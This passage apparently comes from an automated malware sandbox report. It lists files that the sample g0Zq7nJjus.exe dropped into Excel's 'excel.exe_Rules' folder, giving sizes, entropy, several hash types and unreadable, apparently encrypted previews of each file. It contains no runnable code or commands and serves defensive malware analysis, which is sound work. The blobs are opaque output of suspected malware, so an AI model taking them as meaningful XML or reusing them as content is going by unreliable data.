Preview:	<?xml.=......w...."...c.7]...<..C..$L......5OjqC....E...z..D.U....S.L+..r..0...A.S......s.iL.u+.M.J.W.......N..15..q..F...x_..$.[...&D..%+.tX..j....U........Z.t.D1..o....$A...8...).~.tblNk.I...W...w........'.d..........V...zr..V..#..[p.......+-.+a.K......<G..U...k2..\..&.Y....E.......W\r.......z...X..9i.8(.3X.]..#.....^..... E.N.b..C+\.Aj...F.S..L......<..<.\|0..X..c..H{?..O3bl...!>,.^.H..V.+..x.......>.!.........#qF.;........Erz.h.......ob...9...<..H..O.D.....J0R.\.{d.....x..P.7..&......;}.......Qn..+f....+.H.UV....)..i..C....J.d4b.....N]...~..08.).\|....&.xI(^..>9...q..`p..<(..f..2.oeVlhe.X"....f..T-.......y...T....1..7TS.....%~...$/.A~^.`..... ....,.AU..I...W..`.>~....1.............-W...>]..m9L....f.T....c..n..<[Q...}.>.wyB.V....\.P..Y'-.*...DJJ..pbs.r.......0.;..hr....6...j?.@..n.....@..W.G....1x.,...P.....H...#.]..Trp.....C.^..`b......O..7n...iDI.s..h.= ..r.w.~.-...i.N..zpc.~.$v.....)S...,}...M.n~...V.....7......(E(h(....e..u....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.737698940068668
Encrypted:	false
SSDEEP:	24:2sctoxW2VMV3uEdk7cBlhRJKSqaDcbn9KeaadLT2bD:019NhX9FD3DD
MD5:	26615A991F58C1F8F1DCB33BDF4049DD
SHA1:	B9C2C036C0EE826083B8FE39447271433B88EE79
SHA-256:	3A90AEC6DADFFBB2BC450588A7F837FA7DAF80EE434C469153B5FB7CB8798A01
SHA-512:	D5C8356AB8CFB6CCFB593644815511EE1EFC7143806F3655633E0863D015D203161C9244943DC97D0012F35224EB8172727F9A585109AFAC3532D818D85DF78A
Malicious:	false
Preview:	<?xml9z&.{B.C.....V.D.....@......-;%,.[...d.........L...0.....6..\G%3.~\|...s........M..,..#.t....X....\}.K......u.....z...<?.e6Rp;Lf...i2...O.Pa.\|b.....i.^E0....i.-M..L....../....#nHe....R.r..<..."7^.&....K_.....<...,.v...m.\....v^n...d...S..p.....\N....M2.~.J.$...,...QR0....rm.......b..O...N.@..3..S..^.C...9....8R...5c..........#........>...L.o.J.2..J.....a.uM....[6...5v.5;i..~=Qt......eI5].....Ec2.47=\|4......=.{...G..x....?+....sH............zL.....i.-........aP.k.i.\|.._.E...v/Gg/.:..........>....d.S.V."p.h.1.W2v.....r..KQ..W....</..C.E^....}t:9W..8<M..Re.u...s...+.QXc...Yqo..0(..q./r.z.F=.S\|Q.e.i........#T.........(...k~...e.;`...S.S....{.N.c.?.....{..2.G..z.h.P..F........7.....D..<r..5S"s.T.s..^+?&.E.............to-.e...0R.V....-......G....\|0<...rP.:Y...Z,...2/....hm.B.itE.t9..PkmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.757410514802888
Encrypted:	false
SSDEEP:	24:O2jYDbBDSSrF0ob8jyDtjjBsdfXgGbV2+G3A2bD:OBbH50ob8j8tBsBg8V2+qzD
MD5:	0B83BBD1D0F80A44F64A5385E5B3D177
SHA1:	70834D8DDBE97088EB8AFCBF492DA64B1EA6B6D7
SHA-256:	F8BB3E698886226617FBD6200CD8E7474C64AF5E5252E6CE7F385331720166F4
SHA-512:	950ADDADFA805F630F01F5BAC6D5E038D775744F4C473204AC084752EFDC4406C18DE7FAE453798C85C53F9078A2E8334B890D39901279E9C1050AEDF508F9DA
Malicious:	false
Preview:	<?xml..9..%b.r.t.kd.D5......j.A.xd<..\|QW.=lW\.......HyU..Qzj/i.M.5......]....+^V_..Y_.E...}.0....<.&.Jr........qo~w...E.....,.2H!.%.}......Y..S...n.<>..)..v..jvN...x..Pq+YK.ps/$.].%&55.t....x....(..r....F..X..$A5X.._.......a.....gM.\|2.w?cj..0`.....6.5B6.l...lL.l.]..3Z.s!\|.F[ ...2.Q.Ft..jXX..GB.o....Z.....Y.S#....&...d...X.....r.`1...~."..@:.._.Z^.w.Z..[.g.............3.#.%4'.N...>..\..../.$.s...rx/......#i.A.OY.rC.9..`..SHq.......^.......q.....=2M..9.f..?.E.?@.:........].......Q....}.x.-1.>.....\......z.'...%."...+...O6......$.M@.-M....7.....z.=.?o\|I.....X......JX8......m....Z....L..".....`9..:.FZ.qM.l(F..h..?;,z.A..m.3..x...rH.D.G..wtas1.....:,>.gi..&...gI.....U.tB.z..wz .....+3 .s....q{tzQ...!...^ ...........\|.D....vB..i.W..X..x.mW....p........}w.....a..1ID.i..].y.._/.+.$Z.....7jD...{.pC*4.g..K...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.7171268101565795
Encrypted:	false
SSDEEP:	24:GLscXthDOe/Kz7e4Yjm0YJJJds8+n08XV2bD:G7bDdGS4YjlYfJM08XuD
MD5:	B5B896B33B2EB11A8F63DCFC0CB65899
SHA1:	B82784AF7AD51259DD73B097D19728E8E6A1D181
SHA-256:	E559060CDAED84DD9E913DD2DC79D89B3F2DD9287725BB3D3DDFB98755296262
SHA-512:	503210232A43F4EEF37B498204BD423FBAE0347C1A3F959A3E96C66F2C7C60A7FE894B32E508CA46C27D1AA74FF3868CB293C96B6C6E2A4725879D67859F7351
Malicious:	false
Preview:	<?xml.{.H...R.v.)..&xO.g..A.....qlO^.....\|9h.u.s...Y0...b..8...i..?z..E..q&.[.M..8....U./.N.F?._)w2%....ei./.."..o.=.b2.Fl.\|v!.S.~=...W...i.I.W=.....\..2...B1.f)..R......X.....W_.....&\. N(D(C....S......`....?..k...&-As.Y..G.g.B....]..O..fZi......V.......z.R.0.f.~.kB...q..?\..X......IE.Fh...y...$...~=i.lE#.S.C.<Q.%..$......J.JQ.sfB.L..}...K....~..yg`....m...?.O&)7g......vo.A.2.X....(....3..........V....~..P.-9....y..'Z...Y./..O.W.PB.....4q...}...EM....T[...C..z.....-.&.!.7w..w.\|.@v..[S.....SGY....:F.[..{ZH...7.\w....M........H....7.&.c.4qQCR.p..==..SS....C....?..f.......h"....._.3.2.d.bb.T.J......6.....S.}8.+..+.Y*k...V.c....~..F..Y.m.....,:.cN....,...QD.^2....-mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.772627701301465
Encrypted:	false
SSDEEP:	24:wkmeqvBmeVCpjM8yPRDFmyeFOe3/c3MQdSB9Wu72bD:wFBHMp48EFmyNj3MQc7WrD
MD5:	C0DF5C0BE20D58E5E0824EB455DF0FA0
SHA1:	2C276A41F13C764AE875633411AB6CDE46456C71
SHA-256:	B271B7316ED514BC9DDE39BCD6DB288C2A16CE144922301B046E72F38999A458
SHA-512:	E9693EEE1C432C77293E484768BE6B8E031FF7604A33697BA19BF8170688F32D70011C4F6834652F60E2CC5FE3931DCFA559EDFBA2E879C3C4BB6D7A87FF6CDF
Malicious:	false
Preview:	<?xml.....r..z}4...~.:W.iR..Ts.%.A ,.f..2......''.\:...]46.<...C0..?Q. pT.\p..l...Q.{.."\.\|\|7,.o:...s=.O....N.>..D..1.Tl..Ty@.../x..p..._.....0J......,.Lw.G..C..a...kG....U.E.-.........cTG..=C........+&...YZ.-s,~A.E..R.=B..H.}..;.\O.U.....^.....,...H.......P.n...0..q......w...M.......$...~.8.A)k+_..{....]6%..O.N.%.Gd.0....\.x.d....1k>!V"4..%..OC<.D.%...6.y.Pov}l.C.+.2..i.z\|z_....#...z.n.../.........S.. ...h...a.$o.j.l.@o...\|..".k.+.EQ...U....D....vv..y.0.y.4).QJ1...d..j.......~.;...U.3..I....c@)#O....x..E.zj.....v....I.4)...YJP..W..=[..B....R8.,.&..G..,..6%n7Y..a...M....Jk..........j.~...p..zfQ.:..J.(....\|.EV.,B.g\|mg..C....T.y...B\...M.=...=.)._z...%@^...t..3A..1.V...@.JF"..l.:.f.m...(.g}.}....~..r.TDB...b....p!lm..#Hi....Y.)..^....6H...4..M...row-..R...k..4..\..B.!...v.y.....}.LkUkH<`.t.z.^.UVD....g..s..R..........jbcO..T.....)Fg^.....QX.V^.p..o.c..._E.:.+o..Y<.'.t.7.in....._.~.H...2....zO)4..w......x$i.mD...c#C..R......H9..^...'.Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.829920745734918
Encrypted:	false
SSDEEP:	24:TzgncdA5OYFrn/l7rYRf4L3ga6oxwmxeTZRhGblNfaOEEBXNXUOC19WcZ2bD:oncd2Fj/l7bl6CbevUJNfhEEjkOC19WT
MD5:	B712CACE1E382733D062B4C69F633384
SHA1:	E9A778D61F95BA026B4FC5FB25634B301DAEB9E6
SHA-256:	06CA96530AEA2C3275065A2C7109D7EA50ED0A1E36572842981A9A034B89A70A
SHA-512:	918EA5E948D7E7CE16906236F3E86ED769B4B1CF542D14AD57ADD192EAE16F9151BDBBF5D565CA0D08230B02AE62E8C2DF875B43BED995C17ECA437EA3B77FAB
Malicious:	false
Preview:	<?xml...u..{#.i..m0..Ne..t.:.Yp."t.R.....$\A....gpAO..?...L..Ft...........q.9...M#......\....k...L...$..W6......!.....RJ..a.eH..{t{.r$..w0.,...C.E=q<R...Q..v.....2.xP.......h.<..J`..4..Se r....`y..N..:..a.V.K3_.>U...yY.~.....h....lv.m.C.z..CT.....A.......w...=.h4....a.....Y..4.nh.,..gu.#........V...W)..Og.r...I....T$.....`M.;S<...~....Kt..m.....w.:32.\.<....s.cr.`.4}...._B.\|.O...M...X......F;..w.zu....C.....0...g.H4S..N...%.....i......w..O..-j..M.@~.<t..oZ.".la@........iZ....(....r~-.bMwi.......w.^.....D.B.....T.......e&. .F.TW._v.(...U (....R.Wd...n....i...zg+.]J.....#[H.....h+.q6.n...%`......<....R0...XvB.X.l!X...].@.....+=..g.L.@..6.\|d..$..u.....D..(...{K.b~.......z.v.!j..rq...}....Qd..._aD..J2w.KS...."S.B..h$.l.......>+....=R.Ew.....W.....i.XC..7D..w.O....xk......R...e.......9D!C..........9T..>g%(,e.........5...Jy.24i...f{oj3$..p.\|q*.D...g.c.....{NF.m.....o..g.^7.....%.]. .a.kQ{.Uy.'w...[m..t.f .U....e..Ka....<k.&]..mMsRx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.797828937206893
Encrypted:	false
SSDEEP:	24:Iwoseuoq94yRUlbkt+P+t6hQVsHCmQaViyxhcaV2bD:wq94ycbktH6GVsHCqViyLcbD
MD5:	F0B1717886FDF6AE2F83C37BD3F14453
SHA1:	9FF7A2C66D171B0C1226C54B0ECA6725641B4430
SHA-256:	E4D4F18B3C704E1270199D91241AE2FC66063CF60AB223AD2B8342A2BB35A58B
SHA-512:	327804433D5C666C2E2FCEB10288E8AD9C0F08C3C8AACD30984A1CBBEEBF699018FC611F3FD42FCD55CE4B5D2C28653B1F61FD77F5C8E141C30160B88B5B5B2F
Malicious:	false
Preview:	<?xmluxI..I.$..T.C..`@.kJ}+y.5t..P..U<.o.i?..^..c7.\|(....N.~....C...}..t.Q;Ht.s&.d.c...a...~.<.=.`bs..@(..p.J.E):2..^.4V..w7.......F.....=.{.v......7.~.>.......]q.0.e)(15FPhI.T..".i......3...L..........e.I..A.B...eK....H..X...".+....:EA_l[..E.`P0f..b......v.G.....>`.X........Z...MY7J....G..h..j.......<.).)[.+.-n.t...j...8.ZH...G(.J;Z.q.....C.... ..........'h..W.t,..u.K.UP..e...?.>..x...1;.Vozre.x..g2?...'E.d...2.M?.-.k..`.4....%..'+..3..!........ ;.b.....wzYe.JB.$XT"......5.pw.\....L.0d.I\......._a:).6.N..;.....J...y..D.!4:6.!..T...m.;Fa.DA....:4W.{..)#.......k..Y\..q..+j.2.&........G.M..X..O_...x..s.8...D.m..?,i...=.IHH{d.{.S...q..2..!...%.0f...N.X.Y..g...^.\|#.i...2.`.........<j.6[T.g..Ok...R..%.Q.{.L......X9..d3...ike....\|9.C?.K.Y..4Z: F..........Yj.;...?Y.m5zOq...\|\|Q..n...../..p.6%.Ti...tbmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.760366767176807
Encrypted:	false
SSDEEP:	24:3AXXCal4ou59zEpzqpetZKLd1WxUyrpsY2bD:3Ml4ou5sa00dlyrpsLD
MD5:	4F0566B46D78941CFC0A19EA69899F55
SHA1:	596B6513C7B844093615340CE2EE210B74913BC9
SHA-256:	6170CE06A97819D69800A06FA264F139822F2326D9B9D7DBE974468224386BE1
SHA-512:	C5FA03A7766683F34B55A2A1AFDB8529DB078388B44EF2B8C02476992ED193D84D84A33B0C41F7549B0F1EB6AF9A2D244DEBA7CD1EC21F21B74EF27CC7C4257F
Malicious:	false
Preview:	<?xml....u.d.2..D%.Y.....t.=.."F3...,..... .#...p..!..M..I.%..N.'..Y..L...x.....9.t..rj......A(e.lM6v../>.lz.2uZ..uKuBbP=jF..z\Dn.../_m...U')D...E...L.o...:..>...S.....l`..y...Vk;..y.... .BBF)`......F.m.\|..-!'.Y.Nm}...3'...>v.6.~.!..^....S.L..u.\|t?.....B......oy\.,.b....R..m...c;t...j...0.ABz'....=.m@_k.C.FF..e....N[..0.g..FL..e.........#..l{..<3..X....=.?%..Mq.$..&!i....n.>..+._....~..n.G.a...O.h..af..^..i...!.#yim...\|.H..a...`U.....T..W..u.m..._.?H..Kc....._.Z.....G..0&k...._.%p6.4..y.6..]ri.B....$o..........cn.RW..S.....v...FA..$4>..Z?Q..O...Q.iQ...@...AF..../eg......PNg:.R...y...X....a....q..@0..{..Rv..BH.:..X.....~.....:..T%.Kg.f.B.<....:(vn880....9.T.14.5......"^..)1<..lT...'.^.-VJ....o.t..6..0.l.?.o}...rQ%.....O;..2r.0,b..:.....t...C,..7...u(.............j3.gH..&...;&..C........a]*t..=.wmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.799995347727309
Encrypted:	false
SSDEEP:	24:o/Nlj2xk6ZY8Bci9r6q04ATU34RQxnCpzsOkS1HAUbcTDlb2bD:o/NzIzci9uq04ATU31IpzsHS1HAUbiDW
MD5:	283E2635E397F3087659EA63D979A8C9
SHA1:	9D7C81135F9BE036ECBADD0F40786E962348DD83
SHA-256:	4F5E2E4D6D6D11AF955D5C091274784498B25B01BA7718CFA8872FB4D2DA10C3
SHA-512:	BE0D9690372F4CBB7B9292301C6DA16CE5D8FD643E19A751A2F1A110E2986B2A4C0B3C233276B8E8A704FA29EB1C9047D5D67C8CD360A96F934F8AACE5DEB2FD
Malicious:	false
Preview:	<?xmlR_".:#...2,..a..?..W..>...w.Z.O....yK.@.m..3qH.._....,.j..c.7.j..v..... '.?<..7........._...vf......(uO".Z.b.Gb...R....."v...&.....0;.!&3JD..l..N..g.<...$...s>.\|...n......".-,...1...J...YX.h.......Yn..<3.r..7.Q..R._..._...:...\.<oR..$+.(X..:.d....Tnn...%Cd..Q../i......{.?..,J[-..O2N..f!.:$.i./G...PPpw..cn.}y..P.R..oU.x......[..N...%k..1h.(Xq.o0...m...yx.........:I.v...E!..@6...dbL}..}tp.F.9............z ...\|g..........j.C.P.N...vV..P..qh....Q..=]?j.....?...V.]........J..........b.Y.H.>@V8B6fZN.&Ak.AjY`.$.M/..c9j...~..T..5S......d.\|A.K...O=d.c....}....g..m=uS}.4a....*S7...e.T.57.>....z.....R....PvAn.Q..l.._.5qM.0..8o....=.,^...#nC..Yn..tW.-F1...i.y. .Sc.T.D.z8@kf/...,.%h..........Ql._nu.q$.9{..Asqw.....Vla:..e...Et..Z%...........6.7.W......RH~C...V.......q.Q.].].x....Rp.y...b3.m.:...q6o}..3d.>...LmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.782398876853325
Encrypted:	false
SSDEEP:	24:bPaHLZ4YFNeUC5aah8MWH+vb1PS8+TDcuPthOg8LV2bD:bPaHLZvFNMaah8Mk5xTDcuPtYgWuD
MD5:	2D8B65D83309A413C2451B58C9FE8A77
SHA1:	B9719B07282E87187BA862C22635D7EAC2CCA09D
SHA-256:	9C570B1418E8E121AA27EDB4005959D099195245C932F8DEB8B20C0C7BFAB9E9
SHA-512:	95216908D77B163BF2AA39067516F869D69148A2422E076841B816CC1025AB3DD2AADB3DAC6926A96FC42EA57B0518D814D1FB8829BE69D2A3406E02FB636C1E
Malicious:	false
Preview:	<?xml.:x.f.[;.........m2.D...=.\|-.=q.a[.@./..._ ...m.?1#..7...x.2#.'.;).ZO>.Z.p....;....!...U...}......v#.r.O......... BBb....H.!!..6[N#...N...B~.....Z\|...B(O7.J.....&..YX......... ......t...<.........]..=.-......#.8....* ".Z.vO...a>MY8i..Q.4[:.U.J.v...@.....V".....m.....%V. ...y){......vH.\dc..G..Pu2...4.a.uY..v.Fc.Q...RaJ.......f.....0..o..#...[f..s.]6..x.B.+f....1..f...n.h.z...q..s.....]...>..I.....o...yOI..<K>vh.N..[>!......i.A...7.U6.3..G.v..b.g.u..S..w{G..=./..t....N...I..\|m..T.q....`...1..T\#...!..V...M2. .o.E`.n..[..o.-.. ...5*OO.%.J..a..?.X...b..L/{A......'S..j.._...abG..,....\|...b.'....K=..Z.c.}....8..KI....'.....4#.Eb..N.....m..(HrD......d%.?8.....Hb.=..~g....pF....#..Y..Q......D)...wq....w...O.o.S.L..!..@./.J.`...-.d<+..%.(.BpA:.^.....\rg.'.. ..n+..2>..=...Y.....a..$.Y....)..;.........u...X.<mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.750869558014515
Encrypted:	false
SSDEEP:	24:B2KfX3Jqz1y4dJkeaeiETlOnLvHaGY86NTc2bD:rm1HdugTgnrHhziTD
MD5:	EB30FF2C7F2D2EA98357660BA0676CB5
SHA1:	28C86762F9D99FA834BE8BB43BE3FAAA8415E2F6
SHA-256:	FE601A401B6CFDF67D55FE180B4004D280594F20EC23C95756218763A58BCD2E
SHA-512:	BCDB45C4B95DB21E7FB2FB2575651975991DD8CCF2EE4AAB099A2B70962CBA7798CA1F272B2DD722B1AD059D9D4FC5478E088762693362F39E554C2DDB1599A0
Malicious:	false
Preview:	<?xml.....x..l..'.g..72._I..zl..V...1..j.h.L.$.t.....U...I..... .P"%...-...^r.M....l.w..<..t..r..+.8..K..".O..P).$j..M.L .@....S.82...qu&,.....b.C..RZ.]x..N;.q.=?...G..L.../_....O..9<C.........d.[c.wfsZ...-H...p\K.G.[v..K+.....)..l....G%.....5Dd....1..b..p.d.#..W..g..e......B.Y...1....]...)....3.....K?..m........&!U....S:...3bk...rp..O...#Ad~.mK.D.&..~\:.6...@....N$;G.I..:.t\|...p.[.......>..Vzv%4..&.....}.u..g.b..dQ......L"...^Pq./k7K.<..........C..T9.&Rxd..iD......>..n..t.A....$..~^\|.....:.4e;..j\m..q.p..a.Q..5.M.......t..k......wj!iP.......7..u-pI......]cF_.5..N.m..a..^._s...v.<.n..E.\.tR&..Q._..K7.A.D.......@p..-.y8....Hi......P...(X.n. u&oF...?3..c...d@..\|i..i?.e...i.....I#.#"e.)...<..+....S.u..h.mq))cT.5.........B...{3#.~/P.....>.n....3...........K\(2 f&.#1Wvi9....d.x..n.f.m.)C..M..S.....g#]..y.y.J.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.775077233494516
Encrypted:	false
SSDEEP:	24:Xt8tPwvhZo+fTEUXaEFwCJ4BZvqLkcGpj0qN8A2bD:6pwJZb9FaqQcGpHNGD
MD5:	B1D2D33C2878250B96CB25ACB6F7916D
SHA1:	E463C2A59EC1373D02A424F9BC939707C935FCF6
SHA-256:	9EAC3EF3E8E9D4796384EFA12EE087950CD50598D3B695CCF95085629544F0D3
SHA-512:	415903A885573A6EF992820644C0C40DB80990C1AFAC10AD72D0464087C6FA5745D1D167A3C2B4114903CCCA261CF4EF409B51618A0E0AD19ADFAF520F6AA11F
Malicious:	false
Preview:	<?xml.e Y.. ;.......H.....q.W-..(S..G....R.d50Q].'K......L..i.._.;...%Y....@.~....E}..)mG..xN.N..y..b..3.<c...#b....s...8..M.u.rP..).w.5K+Q..9.0...t...F.w..G!....?...s...J..B]%.....P3"..Ri.B.@.n..<.. r..!qX...,s.!..ho{...2.NN...P.s...Z..9..9....G....O.HR..I+o._). .V.j`.yJ.....<x...+..K..q..2y..p.Nn...`#.3.......-....eXi.......;.YG..J......:.s-.M...e.....-...<m.'y5..1. p.EI....P....$....o.........b.PD.>O.".......U.T6$.>...G#b......S.F...?a.._.....{T.YBhz....S..B..7.]Y..)...ZE%.BM....}.T\|.V..8..>-f..O.a...0./..'PU....}.2.N.G....i"..F[.b.SU....zF..a.......~E.H.C....[h.j.XH.....]6g~..U.:.eokx{..N.h...<..Q...E\|.{.m...v ..{%p...}..3...Q..@...N..K...j...!...I(j..<....Q..[.^.jH@Cb..n...o...=..m;{.Z5:.8v.g..2...De......Sq..=....p.l..c<m.K....q.9.0.C.\|..%.....s......I5.H.r.r.UCdp...*.R....-Q..FE...;...4.......L$//mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.808084429044066
Encrypted:	false
SSDEEP:	24:+SWVMTa8dzYc51pnijPjdt33RMasdpKNLX2GKnctkv93oy2bD:+PMT15J1pnGht3QpKlgcmlcD
MD5:	8A964747B508ACB1C31600049870421F
SHA1:	8C46B2D96276B68E6F2D84F5C9EDFF5BEEC70D87
SHA-256:	11DCA24BB531F54C6A8C883D039350B9DFD90F988237914050167B453A5BC1C3
SHA-512:	F93538509786979E7CA8EF5FC750062972432006E2F8466E4426D99751E2E2BA8E8E68829A1BFBBD368BE848E9EBCF60F435BC3FA9B7C45556107DD9E5196C6D
Malicious:	false
Preview:	<?xmly2pv).U.._z$&.1.....C.\|.a.4T.c..lh.y.)&.qf"r...`ZQ-l]6r m5....bq...M.dB;.....=`P5....]#.U...wK...1_f.......t.<O..9....n.`.g,g.M...H..;...I..guC..].DXK..S.`..1z&.W.....n.W...8..'.. .....>...............~Jg.K..!%.k.L.6I[c....M...b...a.O....JH...v.....j....W.....cy..!..Z5NL...W.... E.......nh..Sz+.(E.)i...L.;..0T.s.0...X_n..v.c..Z}f..^.......\|.....7IE../....d...8.^...J<.....j...j...RA......m.\..)....d.-...?q...).'u_.^..k.H...@..P..6...W......8..\|LK.......`b.hc\|.yB. ....i.,..q. ...`.......uz<Mk...l.........C~...j.P..U2_G"....QK.U\WB..."g.Q,j.!hi.R....P...aqO....-..........=S..Z...W..A.<.n..W..B....hEY.w.c0...XJ.8(U..C..o7......t.H]i....`...gT.&.r.g...Z.%.$G...K.#.]mr.....Gst..............;.S....d.....V...Wk..j\|+)7..G.v...v..E..O...`G..H.../.A.W.eQ.C.J...&D/6\.}o.h.G..yw..c...b...../......jD..,u;...#.E......A.c.`}\|.%.{w@--.....:...(..@5.......0.0@.m..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.859032073185908
Encrypted:	false
SSDEEP:	24:vwOinRs/3r2hSQwPYJ2T9dbr+fQLSeGFGZFWExeQGPKEqvJJdHB2bD:IOuW/KOdiqGcZ4Egand6D
MD5:	75DEF8C0D5837A113205D81758199E48
SHA1:	71135C8EB67E4DF6AC4EC3DF60464F1C2091DF4B
SHA-256:	4DFA03A253EB943EA2A2E91C5C3BE30299EC819381F151075F5CC46C45E210D2
SHA-512:	340F23B020CBE44F5127355361986C7ECC9377DC7D63FD990188DC88985CFA0759734D24A497371F3D3BDEF0C8D5E7279C892A2BE3C875F2E9995EB29C0BB7F1
Malicious:	false
Preview:	<?xml)..x...7.S...6"~.......".Z%kq.P73O`2.gE.o.-$./,....L....W....X[.N...u..$./\.:..U.b.t...$.9....b..._}a@.T.SF.....{(....u..g(...8u4.i....Fu.+U.......m..['+;.....E.....R.....\|.\bU.w.g...=.......g..I..u......bx..H..k.k4.}.}./.a..v....../.....).....DmRf..\|t.K..S..!.,....2...P{....&4m..i....B..g...@.C^..Z......#7....B{,L...[.G.\|H,Hx..........g..&dcVI(b.@....Q.sw/T..2.3....ng.........D9....@^....}st....=..Cy...~8.T>....IN..i.M.).N.g.kU-.y.-R.-....G.......j....}.%.}@.8....(...?....4.A.90..]...k!\|...z...q.D.........\.q.<_77..[.........>=.....T...&>..B.<s;..`.1R.........`.o.Cb....l....ZIPc.r.7.{ }.-...O0.+..G..E".n{:.rC<.....<c^q.#...SY....R.r.om.n.&[.Z{.!.q.../.....ks.i.... k.f.=...1.K......!.H...VS..0..F.jB.&EE^.Dc:.....fW..u...j..[!..iQ....{:.....6.../.. ...).!.w....i....Y}.t.t.'...X.$.H...).ZqFr.f_R'.H/.~......Y%X..Hv ..\..o....Rh\..I.r!.....`..>xv.\|..].....>u+g{...O.tX.....=...=r.K..qyH...v.d.L"...!E..;.7.....yy.#G.%U..B.+.[`..]x.!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.854488364846574
Encrypted:	false
SSDEEP:	24:qaakLlj6u8cT9C25uPk3FvyE/7a0bIsdtzwMKMUa37Kywo2bD:qaXZTmkz7KvMj37SbD
MD5:	2DB361F65F176D4DA3A481CC5688DA21
SHA1:	CF27B0F6F0A2155F43B3A4F38DCF9A8B7FB5D9CE
SHA-256:	27135EAB6C02CC494D47B6932FFAA37C1E9DE13CA8FA03E45179DAAD9B33EE55
SHA-512:	D6194E52EF4E368FA18D3CDC719219A8D49FD24B87397D925C78421213D8338B8BDDEB5C23A174FCBC83C11149B3F8A79C6F043BE4079852D2F79EBA6ECA4053
Malicious:	false
